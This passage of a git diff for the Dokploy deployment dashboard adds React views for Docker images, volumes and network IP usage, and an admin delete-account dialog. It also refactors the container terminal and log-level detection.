+ The default Docker address pool is exhausted around ~30 + networks unless default-address-pools is + configured in /etc/docker/daemon.json. + {health.dockerNetworks.addressPools + ? " Custom pool detected on this server." + : ""} +
+
+ + {health.reservation && ( + +
+ + Memory/CPU reservation +
+
+ {bytesToGb(health.reservation.memoryReservedBytes)} GB + reserved ·{" "} + {nanoCpusToCores(health.reservation.cpuReservedNanoCpus)}{" "} + CPUs reserved +
+
+ Across {health.reservation.appCount} Application services. + {health.reservation.unsupportedComposeCount > 0 + ? ` ${health.reservation.unsupportedComposeCount} Compose service(s) on this server aren't included — reservations aren't tracked per-service for Compose.` + : ""} +
+
+ )} +
+ )} + + {health && + !health.error && + (health.dockerNetworks.usage.length > 0 || + health.dockerNetworks.usageError) && ( +
+

+ + Network IP usage +

+

+ IPs assigned to containers vs. the subnet's usable capacity, + per network — including reserved networks like{" "} + dokploy-network. A network stuck near 100% blocks + new containers from starting even when the host has plenty of + other resources free. +

+ {health.dockerNetworks.usageError ? ( +
+ Couldn't read network IP usage:{" "} + {health.dockerNetworks.usageError} +
+ ) : ( +
+ + + + Network + Driver + Subnet + IPs in use + Usage + + + + {health.dockerNetworks.usage.map((n) => ( + + + {n.name} + + + {n.driver} + + + {n.subnet ?? "Auto"} + + + {n.capacity !== null + ? `${n.containersInUse} / ${n.capacity}` + : n.containersInUse} + + + {n.percentUsed !== null ? ( + = 90 + ? "red" + : n.percentUsed >= 70 + ? "yellow" + : "green" + } + > + {n.percentUsed}% + + ) : ( + + — + + )} + + + ))} + +
+
+ )} +
+ )} + + {health && !health.error && ( +
+

+ Docker daemon errors ( + {SINCE_HOURS_OPTIONS.find( + (o) => o.value === sinceHours, + )?.label.toLowerCase()} + ) +

+ +
+ )} +
+
+
+ ); +}; diff --git a/apps/dokploy/components/dashboard/docker/images/show-images.tsx b/apps/dokploy/components/dashboard/docker/images/show-images.tsx new file mode 100644 index 000000000..bb694f128 --- /dev/null +++ b/apps/dokploy/components/dashboard/docker/images/show-images.tsx @@ -0,0 +1,470 @@ +"use client"; + +import { + type ColumnDef, + flexRender, + getCoreRowModel, + getPaginationRowModel, + getSortedRowModel, + type PaginationState, + type SortingState, + useReactTable, +} from "@tanstack/react-table"; +import type { inferRouterOutputs } from "@trpc/server"; +import { ArrowUpDown, Eye, Layers, Loader2, Trash2 } from "lucide-react"; +import { useMemo, useState } from "react"; +import { toast } from "sonner"; +import { AlertBlock } from "@/components/shared/alert-block"; +import { CodeEditor } from "@/components/shared/code-editor"; +import { DialogAction } from "@/components/shared/dialog-action"; +import { + AlertDialog, + AlertDialogAction, + AlertDialogCancel, + AlertDialogContent, + AlertDialogDescription, + AlertDialogFooter, + AlertDialogHeader, + AlertDialogTitle, +} from "@/components/ui/alert-dialog"; +import { Badge } from "@/components/ui/badge"; +import { Button } from "@/components/ui/button"; +import { + Card, + CardContent, + CardDescription, + CardHeader, + CardTitle, +} from "@/components/ui/card"; +import { + Dialog, + DialogContent, + DialogDescription, + DialogHeader, + DialogTitle, + DialogTrigger, +} from "@/components/ui/dialog"; +import { Input } from "@/components/ui/input"; +import { + Table, + TableBody, + TableCell, + TableHead, + TableHeader, + TableRow, +} from "@/components/ui/table"; +import type { AppRouter } from "@/server/api/root"; +import { api } from "@/utils/api"; + +type ImageBase = + inferRouterOutputs["dockerImage"]["getImages"][number]; +type ImageRow = ImageBase & { key: string }; + +interface Props { + serverId?: string; +} + +const SIZE_UNITS: Record = { + b: 1, + kb: 1e3, + mb: 1e6, + gb: 1e9, + tb: 1e12, +}; + +const parseSize = (size?: string) => { + if (!size) return -1; + const match = /^([\d.]+)\s*([a-zA-Z]+)$/.exec(size.trim()); + if (!match?.[1] || !match[2]) return -1; + return Number(match[1]) * (SIZE_UNITS[match[2].toLowerCase()] ?? 1); +}; + +const getReference = (image: ImageBase) => + image.Repository !== "" && image.Tag !== "" + ? `${image.Repository}:${image.Tag}` + : image.ID; + +const FORCE_HINT_REGEX = + /must be forced|image is being used|referenced in multiple repositories/i; + +const SortableHeader = ({ + column, + title, +}: { + column: { + getIsSorted: () => false | "asc" | "desc"; + toggleSorting: (asc: boolean) => void; + }; + title: string; +}) => ( + +); + +const ShowImageConfig = ({ + imageRef, + serverId, +}: { + imageRef: string; + serverId?: string; +}) => { + const [open, setOpen] = useState(false); + const { data, isLoading, error } = api.dockerImage.getImageConfig.useQuery( + { imageRef, serverId }, + { enabled: open }, + ); + + return ( + + + + + + + Image Config + + docker image inspect output for "{imageRef}" + + + {error ? ( + {error.message} + ) : isLoading ? ( +
+ Loading... + +
+ ) : ( +
+ +
+								
+							
+
+
+ )} +
+
+ ); +}; + +export const ShowImages = ({ serverId }: Props) => { + const utils = api.useUtils(); + const [sorting, setSorting] = useState([ + { id: "Repository", desc: false }, + ]); + const [globalFilter, setGlobalFilter] = useState(""); + const [pagination, setPagination] = useState({ + pageIndex: 0, + pageSize: 10, + }); + const [forcePrompt, setForcePrompt] = useState<{ + image: ImageRow; + message: string; + } | null>(null); + + const { data: images, isLoading } = api.dockerImage.getImages.useQuery({ + serverId, + }); + const { mutateAsync: removeImage } = + api.dockerImage.removeImage.useMutation(); + + const rows = useMemo( + () => + (images ?? []).map((image) => ({ + ...image, + key: `${image.ID}-${image.Repository}-${image.Tag}`, + })), + [images], + ); + + const filteredData = useMemo(() => { + if (!globalFilter.trim()) { + return rows; + } + const query = globalFilter.toLowerCase(); + return rows.filter( + (image) => + image.Repository.toLowerCase().includes(query) || + image.Tag.toLowerCase().includes(query) || + image.ID.toLowerCase().includes(query), + ); + }, [rows, globalFilter]); + + const handleDelete = async (image: ImageRow, force = false) => { + try { + await removeImage({ + repository: image.Repository, + tag: image.Tag, + id: image.ID, + force, + serverId, + }); + toast.success("Image deleted"); + setForcePrompt(null); + await utils.dockerImage.getImages.invalidate(); + } catch (error) { + const message = error instanceof Error ? error.message : "Unknown error"; + if (!force && FORCE_HINT_REGEX.test(message)) { + setForcePrompt({ image, message }); + } else { + toast.error("Error deleting image", { description: message }); + } + } + }; + + const columns = useMemo[]>( + () => [ + { + accessorKey: "Repository", + header: ({ column }) => ( + + ), + cell: ({ row }) => ( +
+ {row.original.Repository} +
+ ), + }, + { + accessorKey: "Tag", + header: ({ column }) => , + cell: ({ row }) => {row.original.Tag}, + }, + { + accessorKey: "ID", + header: ({ column }) => ( + + ), + cell: ({ row }) => ( + + {row.original.ID} + + ), + }, + { + id: "Size", + accessorFn: (image) => parseSize(image.Size), + header: ({ column }) => , + cell: ({ row }) => ( + {row.original.Size} + ), + }, + { + id: "Created", + accessorFn: (image) => new Date(image.CreatedAt).getTime() || 0, + header: ({ column }) => ( + + ), + cell: ({ row }) => ( + + {row.original.CreatedSince} + + ), + }, + { + id: "actions", + enableSorting: false, + header: () =>
Actions
, + cell: ({ row }) => ( +
+ + handleDelete(row.original)} + > + + +
+ ), + }, + ], + [serverId], + ); + + const table = useReactTable({ + data: filteredData, + columns, + getRowId: (row) => row.key, + state: { + sorting, + pagination, + }, + onSortingChange: setSorting, + onPaginationChange: setPagination, + getCoreRowModel: getCoreRowModel(), + getSortedRowModel: getSortedRowModel(), + getPaginationRowModel: getPaginationRowModel(), + }); + + return ( +
+ +
+ + + + Images + + + Manage the Docker images of the selected server. + + + + + {isLoading ? ( +
+ Loading... + +
+ ) : !images?.length ? ( +
+
+ +
+
+

No images found

+

+ Docker images pulled or built on this server will appear + here. +

+
+
+ ) : ( + <> +
+ setGlobalFilter(e.target.value)} + className="max-w-xs" + /> +
+
+ + + {table.getHeaderGroups().map((headerGroup) => ( + + {headerGroup.headers.map((header) => ( + + {header.isPlaceholder + ? null + : flexRender( + header.column.columnDef.header, + header.getContext(), + )} + + ))} + + ))} + + + {table.getRowModel().rows?.length ? ( + table.getRowModel().rows.map((row) => ( + + {row.getVisibleCells().map((cell) => ( + + {flexRender( + cell.column.columnDef.cell, + cell.getContext(), + )} + + ))} + + )) + ) : ( + + + No images match your filters. + + + )} + +
+
+ {table.getPageCount() > 1 && ( +
+ + Page {table.getState().pagination.pageIndex + 1} of{" "} + {table.getPageCount()} + +
+ + +
+
+ )} + + )} +
+
+
+ !open && setForcePrompt(null)} + > + + + Image is in use + + {forcePrompt?.message} Do you want to force the deletion? This may + affect containers still using this image. + + + + setForcePrompt(null)}> + Cancel + + + forcePrompt && handleDelete(forcePrompt.image, true) + } + > + Force delete + + + + +
+ ); +}; diff --git a/apps/dokploy/components/dashboard/docker/logs/docker-logs-id.tsx b/apps/dokploy/components/dashboard/docker/logs/docker-logs-id.tsx index c6cb473e0..da4c854d0 100644 --- a/apps/dokploy/components/dashboard/docker/logs/docker-logs-id.tsx +++ b/apps/dokploy/components/dashboard/docker/logs/docker-logs-id.tsx @@ -26,6 +26,11 @@ interface Props { serviceId?: string; } +// Sentinel the container-picker views fall back to before a real container +// is selected/auto-selected — querying logs for it just surfaces Docker's +// raw "No such container: select-a-container" daemon error. +const PLACEHOLDER_CONTAINER_ID = "select-a-container"; + export const priorities = [ { label: "Info", @@ -55,13 +60,16 @@ export const DockerLogsId: React.FC = ({ runType, serviceId, }) => { + const hasContainer = + !!containerId && containerId !== PLACEHOLDER_CONTAINER_ID; + const { data } = api.docker.getConfig.useQuery( { containerId, serverId: serverId ?? undefined, }, { - enabled: !!containerId, + enabled: hasContainer, }, ); @@ -134,7 +142,7 @@ export const DockerLogsId: React.FC = ({ }; useEffect(() => { - if (!containerId) return; + if (!hasContainer) return; let isCurrentConnection = true; let noDataTimeout: NodeJS.Timeout; @@ -344,11 +352,11 @@ export const DockerLogsId: React.FC = ({ />
-
+
diff --git a/apps/dokploy/components/dashboard/docker/logs/terminal-line.tsx b/apps/dokploy/components/dashboard/docker/logs/terminal-line.tsx index 187e000e2..6efe0a118 100644 --- a/apps/dokploy/components/dashboard/docker/logs/terminal-line.tsx +++ b/apps/dokploy/components/dashboard/docker/logs/terminal-line.tsx @@ -64,7 +64,9 @@ export function TerminalLine({ log, noTimestamp, searchTerm }: LogLineProps) { const tooltip = (color: string, timestamp: string | null) => { const square = ( -
+
); return timestamp ? ( @@ -88,7 +90,7 @@ export function TerminalLine({ log, noTimestamp, searchTerm }: LogLineProps) { return (
*/} {tooltip(color, rawTimestamp)} {!noTimestamp && ( - + {formattedTime} )} diff --git a/apps/dokploy/components/dashboard/docker/logs/utils.ts b/apps/dokploy/components/dashboard/docker/logs/utils.ts index 01c68e49a..81d86408d 100644 --- a/apps/dokploy/components/dashboard/docker/logs/utils.ts +++ b/apps/dokploy/components/dashboard/docker/logs/utils.ts @@ -7,6 +7,28 @@ export interface LogLine { message: string; } +interface ContainerOption { + containerId: string; +} + +export const resolveContainerSelection = ( + currentContainerId: string | undefined, + containers: readonly ContainerOption[] | undefined, +) => { + if (!containers) { + return currentContainerId; + } + + if ( + currentContainerId && + containers.some(({ containerId }) => containerId === currentContainerId) + ) { + return currentContainerId; + } + + return containers[0]?.containerId; +}; + interface LogStyle { type: LogType; variant: LogVariant; @@ -72,8 +94,68 @@ export function parseLogs(logString: string): LogLine[] { .filter((log) => log !== null); } +const LEVEL_NAME_TO_TYPE: Record = { + trace: "debug", + debug: "debug", + info: "info", + information: "info", + notice: "info", + warn: "warning", + warning: "warning", + error: "error", + err: "error", + fatal: "error", + critical: "error", + panic: "error", + alert: "error", + emergency: "error", +}; + +const numericLevelToType = (level: number): LogType => { + // pino/bunyan scale: 10=trace 20=debug 30=info 40=warn 50=error 60=fatal + if (level >= 50) return "error"; + if (level >= 40) return "warning"; + if (level >= 30) return "info"; + if (level >= 10) return "debug"; + // syslog/GELF scale: 0=emergency ... 7=debug + if (level <= 3) return "error"; + if (level === 4) return "warning"; + if (level <= 6) return "info"; + return "debug"; +}; + +// Extract the log level explicitly declared by structured loggers +// (pino, bunyan, winston, zap, slog, logfmt, GCP severity) +const getExplicitLevelType = (message: string): LogType | null => { + // JSON string levels: {"level":"error"} / {"severity":"ERROR"} / {"log.level":"warn"} + const jsonStringMatch = message.match( + /"(?:level|severity|log\.level|loglevel)"\s*:\s*"([a-z]+)"/i, + ); + if (jsonStringMatch?.[1]) { + return LEVEL_NAME_TO_TYPE[jsonStringMatch[1].toLowerCase()] ?? null; + } + + // JSON numeric levels: {"level":50} + const jsonNumericMatch = message.match(/"level"\s*:\s*(\d{1,2})\b/); + if (jsonNumericMatch?.[1]) { + return numericLevelToType(Number(jsonNumericMatch[1])); + } + + // logfmt: level=error + const logfmtMatch = message.match(/(?:^|\s)(?:level|severity)=([a-z]+)\b/i); + if (logfmtMatch?.[1]) { + return LEVEL_NAME_TO_TYPE[logfmtMatch[1].toLowerCase()] ?? null; + } + + return null; +}; + // Detect log type based on message content export const getLogType = (message: string): LogStyle => { + // A level explicitly declared by the logger wins over any inference + const explicitType = getExplicitLevelType(message); + if (explicitType) return LOG_STYLES[explicitType]; + // Detect HTTP statusCode const statusMatch = message.match(/"statusCode"\s*:\s*"?(\d{3})"?/); @@ -97,17 +179,27 @@ export const getLogType = (message: string): LogStyle => { return LOG_STYLES.info; } + // Key/value pairs that explicitly report a non-error (e.g. "error: none", + // "failed: false") must not trigger the error keyword patterns below + const nonErrorColonPairs = + /\b(?:error|err|errors|failed|failure|failures)\s*:\s*(?:none|null|nil|false|0|no|-|""|'')(?=[,;.)\]]|$)/gi; + const nonErrorLogfmtPairs = + /\b(?:error|err|errors|failed|failure|failures)\s*=\s*(?:none|null|nil|false|0|no|-|""|'')(?=[\s,;.)\]]|$)/gi; + const errorScope = lowerMessage + .replace(nonErrorColonPairs, "") + .replace(nonErrorLogfmtPairs, ""); + if ( - /(?:^|\s)(?:error|err):?\s/i.test(lowerMessage) || - /\b(?:exception|failed|failure)\b/i.test(lowerMessage) || - /(?:stack\s?trace):\s*$/i.test(lowerMessage) || - /^\s*at\s+[\w.]+\s*\(?.+:\d+:\d+\)?/.test(lowerMessage) || - /\b(?:uncaught|unhandled)\s+(?:exception|error)\b/i.test(lowerMessage) || - /Error:\s.*(?:in|at)\s+.*:\d+(?::\d+)?/.test(lowerMessage) || - /\b(?:errno|code):\s*(?:\d+|[A-Z_]+)\b/i.test(lowerMessage) || - /\[(?:error|err|fatal)\]/i.test(lowerMessage) || - /\b(?:crash|critical|fatal)\b/i.test(lowerMessage) || - /\b(?:fail(?:ed|ure)?|broken|dead)\b/i.test(lowerMessage) + /(?:^|\s)(?:error|err):?\s/i.test(errorScope) || + /\b(?:exception|failed|failure)\b/i.test(errorScope) || + /(?:stack\s?trace):\s*$/i.test(errorScope) || + /^\s*at\s+[\w.]+\s*\(?.+:\d+:\d+\)?/.test(errorScope) || + /\b(?:uncaught|unhandled)\s+(?:exception|error)\b/i.test(errorScope) || + /Error:\s.*(?:in|at)\s+.*:\d+(?::\d+)?/.test(errorScope) || + /\b(?:errno|code):\s*(?:\d+|[A-Z_]+)\b/i.test(errorScope) || + /\[(?:error|err|fatal)\]/i.test(errorScope) || + /\b(?:crash|critical|fatal)\b/i.test(errorScope) || + /\b(?:fail(?:ed|ure)?|broken|dead)\b/i.test(errorScope) ) { return LOG_STYLES.error; } diff --git a/apps/dokploy/components/dashboard/docker/show/columns.tsx b/apps/dokploy/components/dashboard/docker/show/columns.tsx index 4b108344e..3a105aefa 100644 --- a/apps/dokploy/components/dashboard/docker/show/columns.tsx +++ b/apps/dokploy/components/dashboard/docker/show/columns.tsx @@ -12,6 +12,7 @@ import { DropdownMenuTrigger, } from "@/components/ui/dropdown-menu"; import { ShowContainerConfig } from "../config/show-container-config"; +import { FilesExplorerModal } from "../files/files-explorer-modal"; import { ShowDockerModalLogs } from "../logs/show-docker-modal-logs"; import { ShowContainerMounts } from "../mounts/show-container-mounts"; import { ShowContainerNetworks } from "../networks/show-container-networks"; @@ -173,6 +174,12 @@ export const columns: ColumnDef[] = [ > Terminal + + Browse Files + = ({ id, containerId, @@ -23,55 +29,105 @@ export const DockerTerminal: React.FC = ({ const [activeWay, setActiveWay] = React.useState("bash"); const { resolvedTheme } = useTheme(); useEffect(() => { - const container = document.getElementById(id); - if (container) { - container.innerHTML = ""; + if (!containerId || containerId === PLACEHOLDER_CONTAINER_ID) { + return; } - const term = new Terminal({ - cursorBlink: true, - lineHeight: 1.4, - convertEol: true, - theme: { - cursor: resolvedTheme === "light" ? "#000000" : "transparent", - background: "rgba(0, 0, 0, 0)", - foreground: "currentColor", - }, + + let cancelled = false; + let term: Terminal | null = null; + let ws: WebSocket | null = null; + let resizeObserver: ResizeObserver | null = null; + + // Deferred a frame so React StrictMode's dev-only phantom mount+cleanup + // (which runs synchronously, before anything paints) never creates a + // terminal in the first place — dodges a known xterm.js dispose race + // (xtermjs/xterm.js#5011) where a deferred internal callback outlives + // term.dispose() and reads renderer state that's already gone. + const frame = requestAnimationFrame(() => { + if (cancelled) return; + + const container = document.getElementById(id); + if (container) { + container.innerHTML = ""; + } + term = new Terminal({ + cursorBlink: true, + lineHeight: 1.4, + convertEol: true, + theme: { + cursor: resolvedTheme === "light" ? "#000000" : "transparent", + background: "rgba(0, 0, 0, 0)", + foreground: "currentColor", + }, + }); + const addonFit = new FitAddon(); + const clipboardAddon = new ClipboardAddon(); + term.loadAddon(clipboardAddon); + fixMacOsAltKeys(term); + // @ts-expect-error + term.open(termRef.current); + term.loadAddon(addonFit); + addonFit.fit(); + + const protocol = window.location.protocol === "https:" ? "wss:" : "ws:"; + const wsUrl = `${protocol}//${window.location.host}/docker-container-terminal?containerId=${containerId}&activeWay=${activeWay}&cols=${term.cols}&rows=${term.rows}${serverId ? `&serverId=${serverId}` : ""}${serviceId ? `&serviceId=${serviceId}` : ""}`; + + ws = new WebSocket(wsUrl); + const addonAttach = new AttachAddon(ws); + term.loadAddon(addonAttach); + + const sendResize = (cols: number, rows: number) => { + if (ws && ws.readyState === WebSocket.OPEN) { + ws.send(JSON.stringify({ type: "resize", cols, rows })); + } + }; + term.onResize(({ cols, rows }) => sendResize(cols, rows)); + + resizeObserver = new ResizeObserver(() => addonFit.fit()); + if (termRef.current) { + resizeObserver.observe(termRef.current); + } }); - const addonFit = new FitAddon(); - const protocol = window.location.protocol === "https:" ? "wss:" : "ws:"; - const wsUrl = `${protocol}//${window.location.host}/docker-container-terminal?containerId=${containerId}&activeWay=${activeWay}${serverId ? `&serverId=${serverId}` : ""}${serviceId ? `&serviceId=${serviceId}` : ""}`; - - const ws = new WebSocket(wsUrl); - - const addonAttach = new AttachAddon(ws); - // @ts-ignore - term.open(termRef.current); - // @ts-ignore - term.loadAddon(addonFit); - term.loadAddon(addonAttach); - addonFit.fit(); return () => { - ws.readyState === WebSocket.OPEN && ws.close(); + cancelled = true; + cancelAnimationFrame(frame); + resizeObserver?.disconnect(); + if (ws && ws.readyState === WebSocket.OPEN) { + ws.close(); + } + term?.dispose(); }; }, [containerId, activeWay, id]); + const hasContainer = + !!containerId && containerId !== PLACEHOLDER_CONTAINER_ID; + return (
-
- - Select way to connect to {containerId} - - - - Bash - /bin/sh - - -
-
-
-
+ {hasContainer && ( +
+ + Select way to connect to {containerId} + + + + Bash + /bin/sh + + +
+ )} + {hasContainer ? ( +
+
+
+ ) : ( +
+ Select a container above to open a terminal. If none are listed, make + sure the service is deployed and running. +
+ )}
); }; diff --git a/apps/dokploy/components/dashboard/docker/volumes/show-volumes.tsx b/apps/dokploy/components/dashboard/docker/volumes/show-volumes.tsx new file mode 100644 index 000000000..d8c76662f --- /dev/null +++ b/apps/dokploy/components/dashboard/docker/volumes/show-volumes.tsx @@ -0,0 +1,434 @@ +"use client"; + +import { + type ColumnDef, + flexRender, + getCoreRowModel, + getPaginationRowModel, + getSortedRowModel, + type PaginationState, + type SortingState, + useReactTable, +} from "@tanstack/react-table"; +import type { inferRouterOutputs } from "@trpc/server"; +import { + ArrowUpDown, + Eye, + FolderOpen, + HardDrive, + Loader2, + Trash2, +} from "lucide-react"; +import { useMemo, useState } from "react"; +import { toast } from "sonner"; +import { FilesExplorerModal } from "@/components/dashboard/docker/files/files-explorer-modal"; +import { AlertBlock } from "@/components/shared/alert-block"; +import { CodeEditor } from "@/components/shared/code-editor"; +import { DialogAction } from "@/components/shared/dialog-action"; +import { Badge } from "@/components/ui/badge"; +import { Button } from "@/components/ui/button"; +import { + Card, + CardContent, + CardDescription, + CardHeader, + CardTitle, +} from "@/components/ui/card"; +import { + Dialog, + DialogContent, + DialogDescription, + DialogHeader, + DialogTitle, + DialogTrigger, +} from "@/components/ui/dialog"; +import { Input } from "@/components/ui/input"; +import { + Table, + TableBody, + TableCell, + TableHead, + TableHeader, + TableRow, +} from "@/components/ui/table"; +import type { AppRouter } from "@/server/api/root"; +import { api } from "@/utils/api"; + +type VolumeRow = + inferRouterOutputs["dockerVolume"]["getVolumes"][number]; + +interface Props { + serverId?: string; +} + +const SIZE_UNITS: Record = { + b: 1, + kb: 1e3, + mb: 1e6, + gb: 1e9, + tb: 1e12, +}; + +const parseSize = (size?: string) => { + if (!size) return -1; + const match = /^([\d.]+)\s*([a-zA-Z]+)$/.exec(size.trim()); + if (!match?.[1] || !match[2]) return -1; + return Number(match[1]) * (SIZE_UNITS[match[2].toLowerCase()] ?? 1); +}; + +const SortableHeader = ({ + column, + title, +}: { + column: { + getIsSorted: () => false | "asc" | "desc"; + toggleSorting: (asc: boolean) => void; + }; + title: string; +}) => ( + +); + +const ShowVolumeConfig = ({ + volumeName, + serverId, +}: { + volumeName: string; + serverId?: string; +}) => { + const [open, setOpen] = useState(false); + const { data, isLoading, error } = api.dockerVolume.getVolumeConfig.useQuery( + { volumeName, serverId }, + { enabled: open }, + ); + + return ( + + + + + + + Volume Config + + docker volume inspect output for "{volumeName}" + + + {error ? ( + {error.message} + ) : isLoading ? ( +
+ Loading... + +
+ ) : ( +
+ +
+								
+							
+
+
+ )} +
+
+ ); +}; + +export const ShowVolumes = ({ serverId }: Props) => { + const utils = api.useUtils(); + const [sorting, setSorting] = useState([ + { id: "Name", desc: false }, + ]); + const [globalFilter, setGlobalFilter] = useState(""); + const [pagination, setPagination] = useState({ + pageIndex: 0, + pageSize: 10, + }); + + const { data: volumes, isLoading } = api.dockerVolume.getVolumes.useQuery({ + serverId, + }); + const { data: sizes, isLoading: isLoadingSizes } = + api.dockerVolume.getVolumesSize.useQuery({ serverId }); + + const sizeByName = useMemo( + () => new Map((sizes ?? []).map((entry) => [entry.name, entry.size])), + [sizes], + ); + const { mutateAsync: removeVolume } = + api.dockerVolume.removeVolume.useMutation(); + + const filteredData = useMemo(() => { + const list = volumes ?? []; + if (!globalFilter.trim()) { + return list; + } + const query = globalFilter.toLowerCase(); + return list.filter((volume) => volume.Name.toLowerCase().includes(query)); + }, [volumes, globalFilter]); + + const columns = useMemo[]>( + () => [ + { + accessorKey: "Name", + header: ({ column }) => , + cell: ({ row }) => ( +
+ {row.original.Name} +
+ ), + }, + { + accessorKey: "Driver", + header: ({ column }) => ( + + ), + cell: ({ row }) => ( + {row.original.Driver} + ), + }, + { + accessorKey: "Scope", + header: ({ column }) => ( + + ), + cell: ({ row }) => ( + {row.original.Scope} + ), + }, + { + id: "Size", + header: ({ column }) => , + sortingFn: (a, b) => + parseSize(sizeByName.get(a.original.Name) ?? undefined) - + parseSize(sizeByName.get(b.original.Name) ?? undefined), + cell: ({ row }) => + isLoadingSizes ? ( + + ) : ( + + {sizeByName.get(row.original.Name) ?? "-"} + + ), + }, + { + accessorKey: "Mountpoint", + header: ({ column }) => ( + + ), + cell: ({ row }) => ( +
+ {row.original.Mountpoint} +
+ ), + }, + { + id: "actions", + enableSorting: false, + header: () =>
Actions
, + cell: ({ row }) => ( +
+ + + + + { + try { + await removeVolume({ + volumeName: row.original.Name, + serverId, + }); + toast.success("Volume deleted"); + await utils.dockerVolume.getVolumes.invalidate(); + } catch (error) { + toast.error("Error deleting volume", { + description: + error instanceof Error ? error.message : "Unknown error", + }); + } + }} + > + + +
+ ), + }, + ], + [serverId, removeVolume, utils, sizeByName, isLoadingSizes], + ); + + const table = useReactTable({ + data: filteredData, + columns, + state: { + sorting, + pagination, + }, + onSortingChange: setSorting, + onPaginationChange: setPagination, + getCoreRowModel: getCoreRowModel(), + getSortedRowModel: getSortedRowModel(), + getPaginationRowModel: getPaginationRowModel(), + }); + + return ( +
+ +
+ + + + Volumes + + + Manage the Docker volumes of the selected server. + + + + + {isLoading ? ( +
+ Loading... + +
+ ) : !volumes?.length ? ( +
+
+ +
+
+

No volumes found

+

+ Docker volumes created on this server will appear here. +

+
+
+ ) : ( + <> +
+ setGlobalFilter(e.target.value)} + className="max-w-xs" + /> +
+
+ + + {table.getHeaderGroups().map((headerGroup) => ( + + {headerGroup.headers.map((header) => ( + + {header.isPlaceholder + ? null + : flexRender( + header.column.columnDef.header, + header.getContext(), + )} + + ))} + + ))} + + + {table.getRowModel().rows?.length ? ( + table.getRowModel().rows.map((row) => ( + + {row.getVisibleCells().map((cell) => ( + + {flexRender( + cell.column.columnDef.cell, + cell.getContext(), + )} + + ))} + + )) + ) : ( + + + No volumes match your filters. + + + )} + +
+
+ {table.getPageCount() > 1 && ( +
+ + Page {table.getState().pagination.pageIndex + 1} of{" "} + {table.getPageCount()} + +
+ + +
+
+ )} + + )} +
+
+
+
+ ); +}; diff --git a/apps/dokploy/components/dashboard/home/show-home.tsx b/apps/dokploy/components/dashboard/home/show-home.tsx index f77b71f71..47d7bf31e 100644 --- a/apps/dokploy/components/dashboard/home/show-home.tsx +++ b/apps/dokploy/components/dashboard/home/show-home.tsx @@ -223,7 +223,7 @@ export const ShowHome = () => {
{canReadDeployments && ( view all → diff --git a/apps/dokploy/components/dashboard/impersonation/delete-account-by-email.tsx b/apps/dokploy/components/dashboard/impersonation/delete-account-by-email.tsx new file mode 100644 index 000000000..5f940dd5b --- /dev/null +++ b/apps/dokploy/components/dashboard/impersonation/delete-account-by-email.tsx @@ -0,0 +1,143 @@ +import copy from "copy-to-clipboard"; +import { Copy, Loader2, Trash2 } from "lucide-react"; +import { useState } from "react"; +import { toast } from "sonner"; +import { AlertBlock } from "@/components/shared/alert-block"; +import { Button } from "@/components/ui/button"; +import { + Dialog, + DialogContent, + DialogDescription, + DialogFooter, + DialogHeader, + DialogTitle, + DialogTrigger, +} from "@/components/ui/dialog"; +import { Input } from "@/components/ui/input"; +import { Label } from "@/components/ui/label"; +import { api } from "@/utils/api"; + +const CONFIRMATION_WORD = "DELETE"; + +export const DeleteAccountByEmail = () => { + const [open, setOpen] = useState(false); + const [email, setEmail] = useState(""); + const [confirmation, setConfirmation] = useState(""); + const [record, setRecord] = useState(null); + const { mutateAsync, isPending } = + api.user.deleteAccountByEmail.useMutation(); + + const canConfirm = + email.trim().length > 0 && confirmation.trim() === CONFIRMATION_WORD; + + const reset = () => { + setEmail(""); + setConfirmation(""); + setRecord(null); + }; + + const handleDelete = async () => { + try { + const result = await mutateAsync({ email: email.trim() }); + setRecord(JSON.stringify(result, null, 2)); + toast.success(`Account ${result.email} deleted`); + } catch (error) { + toast.error( + error instanceof Error ? error.message : "Error deleting account", + ); + } + }; + + return ( + { + setOpen(value); + if (!value) reset(); + }} + > + + + + + + Delete an account by email + + Cancels every Stripe subscription and deletes the user with all the + organizations they own. Invoices stay in Stripe for accounting. Use + it to fulfil data deletion requests. + + + {record ? ( +
+ + Deletion completed. Keep this record as evidence of the request + being fulfilled. + +
+							{record}
+						
+ +
+ ) : ( +
+
+ + setEmail(e.target.value)} + /> +
+
+ + setConfirmation(e.target.value)} + /> +
+
+ )} + + {record ? ( + + ) : ( + + )} + +
+
+ ); +}; diff --git a/apps/dokploy/components/dashboard/impersonation/impersonation-bar.tsx b/apps/dokploy/components/dashboard/impersonation/impersonation-bar.tsx index c6c72fae6..5ab262ec8 100644 --- a/apps/dokploy/components/dashboard/impersonation/impersonation-bar.tsx +++ b/apps/dokploy/components/dashboard/impersonation/impersonation-bar.tsx @@ -46,6 +46,7 @@ import { authClient } from "@/lib/auth-client"; import { cn } from "@/lib/utils"; import { api } from "@/utils/api"; import { useWhitelabeling } from "@/utils/hooks/use-whitelabeling"; +import { DeleteAccountByEmail } from "./delete-account-by-email"; type User = typeof authClient.$Infer.Session.user; @@ -78,12 +79,12 @@ export const ImpersonationBar = () => { }); const filteredUsers = response.data?.users.filter( - // @ts-ignore + // @ts-expect-error (user) => user.allowImpersonation && data?.user?.email !== user.email, ); if (!response.error) { - // @ts-ignore + // @ts-expect-error setUsers(filteredUsers || []); } } catch (error) { @@ -282,6 +283,7 @@ export const ImpersonationBar = () => { Impersonate +
) : (
diff --git a/apps/dokploy/components/dashboard/monitoring/free/container/docker-block-chart.tsx b/apps/dokploy/components/dashboard/monitoring/free/container/docker-block-chart.tsx index 91db49869..15c68b6b9 100644 --- a/apps/dokploy/components/dashboard/monitoring/free/container/docker-block-chart.tsx +++ b/apps/dokploy/components/dashboard/monitoring/free/container/docker-block-chart.tsx @@ -1,3 +1,4 @@ +import { formatMb, toMb } from "@dokploy/server/monitoring/units"; import { format } from "date-fns"; import { Area, AreaChart, CartesianGrid, YAxis } from "recharts"; import { @@ -29,8 +30,8 @@ export const DockerBlockChart = ({ accumulativeData }: Props) => { const transformedData = accumulativeData.map((item, index) => ({ time: item.time, name: `Point ${index + 1}`, - readMb: item.value.readMb, - writeMb: item.value.writeMb, + readMb: toMb(item.value.readMb), + writeMb: toMb(item.value.writeMb), })); return ( @@ -77,13 +78,14 @@ export const DockerBlockChart = ({ accumulativeData }: Props) => { }} formatter={(value, name) => { const label = name === "readMb" ? "Read" : "Write"; - return [`${value} MB`, label]; + return [formatMb(Number(value)), label]; }} /> } /> { /> { /> { /> { const transformedData = accumulativeData.map((item, index) => ({ time: item.time, name: `Point ${index + 1}`, - inMB: item.value.inputMb, - outMB: item.value.outputMb, + inMB: toMb(item.value.inputMb), + outMB: toMb(item.value.outputMb), })); return ( 